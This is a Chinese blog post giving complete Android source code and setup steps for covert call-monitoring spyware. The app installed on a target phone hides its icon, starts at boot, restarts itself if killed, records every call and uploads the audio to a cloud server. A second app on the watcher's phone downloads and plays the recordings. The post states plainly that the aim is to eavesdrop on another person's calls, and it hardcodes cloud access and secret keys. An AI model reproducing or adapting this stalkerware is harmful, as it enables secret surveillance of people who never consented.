【Qzone】黑色星期二 好烦躁 通话录音 上传服务器 下载播放 亲测

隐藏后台录音机 1.28 隐藏后台录音机 大小:684.89KB 版本:1.28 适用系统:Android 1.6以上 开发者:junjun 更新时间:2012-07-11 立即下载

2015-4-29 00:00

用自己手机和两舍友手机测试,可行!!

需求:A想在自己手机上监听听到B手机与C手机的通话记录。
分析:
    在B手机上安装一个APP,那么这个APP要求有如下功能
    1、隐藏图标
    2、后台一直运行,开机就运行
    3、任务管理器不能杀死,即使杀死也能重启动服务
    4、有监听电话状态功能
    5、有录音功能
    6、有将文件上传到服务器的功能

而A手机上安装的一个APP ,功能就需要的简单一点:
    1、从服务器下载文件
    2、调用系统功能播放文件

那么本次比较重要的就服务器端的搭建,搞了三天,不容易啊。

所以记录一下步骤:
    (服务器端)
    1 . 到 资源下载  页面下载 后端应用 war 包;
    
2 . 到 Sina App Engine 官网 (下称SAE) 创建  一个Java应用;  
    3 . 在 SAE 应用管理中的 代码管理 中 新建版本 并将步骤1 下载作为 默认war包上传 ;  
    图片
    
4 . 到 SAE 服务管理中的 KVDB 页面 点击 启用KVDB 数据库 ;  
    
5 . 到 SAE 服务管理中的 MySQL 页面 点击 启用初始化MySQL ,并导入统计的SQL语句 ;
    图片
    6 . 到 SAE 应用信息中的 汇总信息 页面中查看应用的accessKey和secretKey,并作为登入后端应用的用户名和密码。
    (客户端) 
   
    1 . 到 资源下载  页面下载 SDK 包;  
    
2 . 将 步骤1 下载的包(一个核心包cloudservice.jar和 两个依赖包 gson.jar httpmime.jar)导入开发的 Android 应用中;  
    3 . 参见 SDK使用文档  来开发 Android应用。  
    (参见网址:
http://cloudbaas.sinaapp.com/docs/started.jsp)  

OK !!!上代码

B手机上的APP:
--清单文件
--/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android=" http://schemas.android.com/apk/res/android"
    package="com.devwang.autoopenapp"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <!-- 隐藏图标 -->
                <!-- <category android:name="android.intent.category.LAUNCHER" /> -->
            </intent-filter>
        </activity>

        <service android:name="com.devwang.autoopenapp.AutoOpenService" >
        </service>
        <service android:name="com.devwang.autoopenapp.AutoOpenServicer" >
        </service>

        <receiver android:name=".BootBroadcastReciver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

--布局文件
--
/AutoOpenAppPhone/res/layout/activity_main.xml
<RelativeLayout xmlns:android=" http://schemas.android.com/apk/res/android"
    xmlns:tools=" http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.autoopenapp.MainActivity" >

    <TextView
        android:id="@+id/tv"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:gravity="center"
        android:textSize="60sp"
        android:text="LOVE" />

</RelativeLayout>

--源代码
--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
package com.devwang.autoopenapp;

import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.widget.TextView;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

TextView text = (TextView) findViewById(R.id.tv);
text.setText("LOVE!");

System.out.println("Service oncreate");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);

                //测试用 可不加 
finish();
}

}

--广播接收者
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java  
package com.devwang.autoopenapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

//开机启动完成的  广播接受者 在这里启动APP Activity
public class BootBroadcastReciver extends BroadcastReceiver {
static final String ACTION = "android.intent.action.BOOT_COMPLETED";

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if (intent.getAction().equals(ACTION)) {
//自启动界面
// Intent i = new Intent(context, MainActivity.class);
// i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// context.startActivity(i);
//自启动服务
Intent i = new Intent(context, AutoOpenService.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(i);
}
}

}

--服务
--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
package com.devwang.autoopenapp;

import java.io.File;

import android.annotation.TargetApi;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD)
public class AutoOpenService extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("Servicer ondestory");

}

private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");

// if(file==null){
// System.out.println("null");
// }

System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Servicer ondestory");
Intent i = new Intent(this, AutoOpenServicer.class);
startService(i);
}

}

--
/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java  
package com.devwang.autoopenapp;

import java.io.File;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class AutoOpenServicer extends Service {

// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;

final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";

final private String localpath = "sdcard/aa.3gp";

// private File file;

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

// 服务创建的时候调用的方法
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
System.out.println("Service onCreate");

}

private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");

// 这里简单起见 只获取最近一次的通话录音 故在上传之前 先将服务器端的删除后再上传
// if (file == null) {
// System.out.println("null");
// }
System.out.println("start upload");

try {
boolean flag = CloudFile.upload(localpath);

System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}

System.out.println("end upload");

}

break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// 这里使用开始录音的时间作为文件名 为方便起见我们固定设置一个文件名如aa.3pg
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

// 守护进程 在次方法中 本服务会被销毁 此时可以启动新的服务
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();

System.out.println("Service ondestory");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
}

}
 
A手机上的APP:
--清单文件
--
/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android=" http://schemas.android.com/apk/res/android"
    package="com.devwang.phoneplay"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".MainActivity2"
            android:label="@string/app_name" >
        </activity>
    </application>

</manifest>

--布局文件
--
/PhonePlay/res/layout/activity_main.xml  
<RelativeLayout xmlns:android=" http://schemas.android.com/apk/res/android"
    xmlns:tools=" http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.devwang.phoneplay.MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:textSize="40sp"
        android:text="播放" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="76dp"
        android:textSize="24sp"
        android:text="按播放按钮,播放TA最近一次的通话录音!" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignLeft="@+id/textView1"
        android:layout_alignParentTop="true"
        android:text="注意:TA的手机安装好那个APP后要关机重启"
        android:textSize="24sp" />

</RelativeLayout>  
--源代码
--/PhonePlay/src/com/devwang/phoneplay/MainActivity.java
package com.devwang.phoneplay;

import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;

@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
final private String appname = "appsitejava";
final private String ak = "z1zmx2xxyj";
final private String sk = "wi00lw3xz2x054myl0142jkyiiizmwi125w0w204";
// final private String localpath = "sdcard/aa.3gp";
private Button play_btn;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}

if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}

// 1.同步方式 获取云端路径为/text/readme.txt的文件
CloudFile file = null;
final String url;
try {
file = CloudFile.fetch("/sdcard/aa.3gp");
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
url = file.getUrl();// 通过这个url可以直接访问云端文件

play_btn = (Button) findViewById(R.id.button1);
play_btn.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
// TODO Auto-generated method stub
// 调用系统自带播放器
Intent intent = new Intent();
Uri uri = Uri.parse(url);
intent.setDataAndType(uri, "audio/*");
intent.setAction(Intent.ACTION_VIEW);
startActivity(intent);

}
});
}

}



使用方法:
在B手机安装B.apk 可以不要打开APP
将B手机关机重启 
在A手机 安装A.apk
B与C或其他手机通电话
A手机打开APP 点击播放 OK 

问题:只能录一方的声音 即只能录B方的声音 

图片
(换了个头像 哈哈哈) 
后台隐藏工具 非常好用的一款 后台隐藏非常好用的一款 后台隐藏 立即下载

相关推荐

电话录音系统服务端

润普电话录音系统服务客户端,需要的可以下载,有问题可以联系我,可以发完整系统

uni-app 录音支持暂停、继续、后台录音、息屏录音、长时间录音(ios、andorid)

地址:录音支持暂停、继续、后台录音、息屏录音、长时间录音(ios、andorid) - DCloud 插件市场 录音支持暂停、继续、后台录音、息屏录音、长时间录音(ios、andorid)QQ群:651382358https://ext.dcloud.net.cn/plugin?id=5849 ...

杨克进的博客 6717

网格自适应_Comsol案例解析17:自适应网格的使用

本期导读自适应网格细化有许多优势,比如可以不用对网格进行全局加密,增加计算精度,又会降低求解自由度。本期仍然以气泡上升案例为例,在两相流模块中使用自适应网格。【打开案例模型】【修改网格】适当让气泡边界加密,注意,曲率因子越小,曲线上的网格越密【添加自适应网格】使用默认的参数即可,这里的误差指示器用的是水平集phi。可以根据具体求解模型选择适当的自变量作为误差指示器。【口诀】默认的一般是最...

weixin_28726871的博客 5680

Android SIP软电话,通话录音,VoIP电话,linphone电话

Android SIP软电话,通话录音,VoIP电话,linphone电话,项目中实现了两种通话录音, 方式一:点击拨号时,调用系统的拨号功能,同时应用内注册通话广播,检测通话状态,接通、挂断来决定开始录音和停止录音,录音可以使用MediaRecorder和AudioRecorder。 方式二:SIP软电话,集成linphone框架的VoIP网络电话,实现网络通话并录音,效果也还行。

m13984458297的博客 1万+

Cocos2d-x手游逆向实战:Frida高阶Hook与动态解密技术

Cocos2d-x作为主流跨平台游戏引擎,其混合架构(C++核心+JNI桥接+Lua/JS脚本)和强加固策略(符号剥离、anti-frida、so加壳)使传统逆向方法失效。本文围绕‘无符号定位’‘C++函数硬编码地址识别’‘Lua层AST级劫持’‘OpenGL内存回溯解密’四大关键技术展开,深入解析如何在真实上线项目中稳定hook被strip的libcocos2d.so关键函数、绕过反调试心跳检测、从glTexImage2D参数逆向追踪明文资源,并结合熵值扫描实现零先验知识的内存明文发现。面向已掌握Frid

weixin_30345577的博客 672

ESP32天线阵列实现Wi-Fi空间成像与无直视定位

Wi-Fi信道状态信息(CSI)是OFDM系统中表征多径传播特性的基础物理层参数,其复数值包含幅度与相位,可反映无线环境的空间特征。基于CSI的射频感知技术,通过提取子载波级信道响应,结合阵列信号处理,实现到达角(AoA)估计与深度映射,本质是将通信链路重构为空间域传感器。该技术无需专用雷达硬件,具备低成本、被动式、隐私友好等工程优势,在室内定位、行为识别、仓储导航等场景具有广泛落地价值。本文聚焦ESP32平台,详解多芯片相位同步、CSI零拷贝采集、嵌入式MUSIC算法及信道图谱轻量化部署等关键实现。

weixin_30632267的博客 236

电话交换机软件和录音转文字服务器部署笔记

电话交换机IPPBX 3CX 支持将通话录音转录服务部署到本地内网, 满足隐私要求。方案采用分离架构:PBX负责通话录音,GPU服务器处理转录,减轻CPU压力。需通过防火墙限制PBX IP访问默认端口61443。 硬件选择建议: Base模型(小型客服)可勉强用CPU; Medium模型(普通呼叫中心)推荐GPU;

电话交换机IPPBX软件3CX是一个完整的通信平台,为客户提供简单、灵活且经济实惠的通话、视频和在线聊天解决方案。 965

MacOS M芯片部署ComfyUI:从环境排雷到插件生态一站式指南

本文为MacOS M系列芯片用户提供了一份详尽的ComfyUI部署指南。文章深入剖析了因架构差异导致的常见安装报错根源,并给出了基于MPS后端的正确PyTorch安装命令。从创建纯净Python虚拟环境、分步安装依赖,到验证GPU加速,手把手指导完成部署。同时,还推荐了包括管理器、汉化在内的必备插件,以完善使用生态,帮助用户一站式解决从环境搭建到效率提升的所有问题。

weixin_29261711的博客 992

国产系统或windows下实现录音文件和通话记录自动上传到服务器

国产系统电话录音盒,语音盒,实现电话录音和通话记录自动上传功能,实现服务器统一管理呼叫记录和录音。

q9421766ex的博客 926

武汉理工大学数据结构综合实验——连连看游戏综合实践

文章目录实验目的主要仪器设备及耗材一、实验要求二、分析与设计(非线性结构)1.数据结构的设计2.核心算法设计一条直线消子两条直线消子三条直线消子初始化游戏地图搜寻路径提示和重排3.测试用例设计4.测试效果总结 实验目的 (1)线性结构实验目的 调研连连看游戏,了解连连看游戏的功能和规则等 掌握集成开发工具VS2019的使用和C++的基础编程 了解MFC框架 了解线性结构,掌握数组的遍历、消子和胜负判断等算法 了解企业软件开发过程,应用迭代开发思路进行项目开发,养成良好的编程习惯和培养软件工程化思维 .

mo_zhe的博客 7611

麦当劳app之sign逆向分析

摘要:本文分析了麦当劳APP请求参数sign的逆向过程。通过抓包发现32位sign参数疑似MD5加密,使用frida-trace工具跟踪CC_MD5函数验证其为标准MD5算法。加密参数包含时间戳、token、版本号等固定和动态字段,拼接后经MD5加密生成sign。文章提供了JS和Python两种实现方案,包含完整的请求头参数和加密逻辑,最终成功获取API响应数据。该研究仅用于逆向技术学习,展示了移动应用常见加密参数的逆向分析方法。

佛系更新... 2435

模拟电话录音系统2.0

模拟电话录音系统 2.0 产品介绍:        内置电话录音卡,PCI接口,系统符windows音频系统规范,安装使用方便,提供本机实时监听查询功能和网络络实时监听查询功能,采用高性能的AGC处理算法,达到完美的远近端音量平衡,高比例压缩,且不影响录音质量! 产品特点: 1、 适用于各种Window操作系统,安装使用更加方便; 2、 USB接口,系统与电话线接口为高阻并联,各通道之间互不干...

weixin_34415923的博客 902

【codex教程】Codex 注册和使用教程(2026最新版)

Codex 是 OpenAI 推出的 AI 编程助手,可以帮助开发者阅读代码、修改代码、运行命令、生成测试、排查 bug、做代码审查,也可以在终端、IDE、Codex App 或网页端使用。根据 OpenAI 帮助中心,截至 2026 年 6 月,Codex 已包含在 Free、Go、Plus、Pro、Business、Edu 和 Enterprise 等 ChatGPT 方案中,但不同套餐的使用额度会有所不同。适合开发者在终端中使用。如果你想在命令行里使用 Codex,可以安装 Codex CLI。

与时俱进,开放共享 2万+

ERROR 'duplicate declaration of type/attribute' at token ';' on line 14430

MTK添加Android权限te文件后,编译make bootimage报重复duplicate错误。 错误信息: ------------------------------------------------------------------------ out/host/linux-x86/bin/checkpolicy: loading policy configurati

新生代CV搬运工 1万+

AI Agent 架构的底层原理与核心机制

AI Agent五层架构实现智能闭环运转:1)感知层负责多模态信息输入与预处理;2)记忆层分类存储短期/长期记忆及知识库;3)认知层通过ReAct推理和反思机制进行决策规划;4)工具层调用外部API扩展能力边界;5)执行层完成任务输出并形成反馈闭环。五层架构通过"输入-处理-输出-优化"的联动机制,使Agent具备自主决策、持续学习和任务执行能力,突破传统LLM的局限,实现从信息处理到实际落地的完整智能体系。

女王の专属领地 493

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

db文件查看工具SQLiteExpert

SQLite Expert Professional  下载地址: http://www.sqliteexpert.com

新生代CV搬运工 1万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Error: Failed to find Build Tools revision 24.0.2

Error: Failed to find Build Tools revision 24.0.2 android studio 编译报错 查看gradle,看版本 确定已有的编译工具版本,如 25.0.0 修改gradle,重新编译,成功

新生代CV搬运工 1万+

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

小米系列手机开源代码

小米系列手机开源代码 https://github.com/MiCode/Xiaomi_Kernel_OpenSource

新生代CV搬运工 8309

VMware 已经安装了【VMware Tools】 却不能进入Unity模式(Ubuntu12.04)

VMware 已经安装了【VMware Tools】 却不能进入Unity模式(Ubuntu12.04) 修改启动方式: 以GNOME Classic(No effects)方式启动ubuntu, 才可以进入Unity模式。

新生代CV搬运工 7386

adb 点亮手机屏幕

方法一: C:\Users\Administrator>adb shell input keyevent 26 方法二: C:\Users\Administrator>adb shell shell@virgo:/ $ input keyevent 26

新生代CV搬运工 5987

android adb 接电话和挂电话命令

swipe -----------滑动 tap -----------点击 接电话: adb shell input swipe 241 475 426 506 (接电话 按钮移动坐标 (241,475)-->>(426,506)) 挂电话: adb shell input tap 244 752 (挂电话 按钮 坐标 (2

新生代CV搬运工 5667

adb 定时重启手机批处理bat

adb 定时重启手机批处理bat ---------------------------- for /l %%i in (1,1,100000) do ( @echo %%i adb reboot ping -n 120 127.0.0.1 > nul ) pause ---------------------------- %%i的值从1步进1到80 12

新生代CV搬运工 5161

编写第一个Android Native Service

编写第一个Android Native Service :SQRService,求平方(Square)运算。 为什么有核心服务呢?  1. 核心服务是 Android 框架里最接近Linux/Driver 的部分。为了充分发挥硬件设备的差异化特性,核心服务是让上层Java 应用程序来使用Driver/HW Device 特色的重要管道。 2. 在开机过程中,就可以启动核心服务(例如汉

新生代CV搬运工 5149

查看中断号cat /proc/interrupts |grep sw_irq

查看中断号cat /proc/interrupt |grep sw_irq

新生代CV搬运工 4946
上一篇: 【Qzone】打不死的小强 杀不死的服务 开机自启动服务
下一篇: 【Qzone】致情深深雨蒙蒙 临风棍道纪念版 扫二维码 下载APP
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值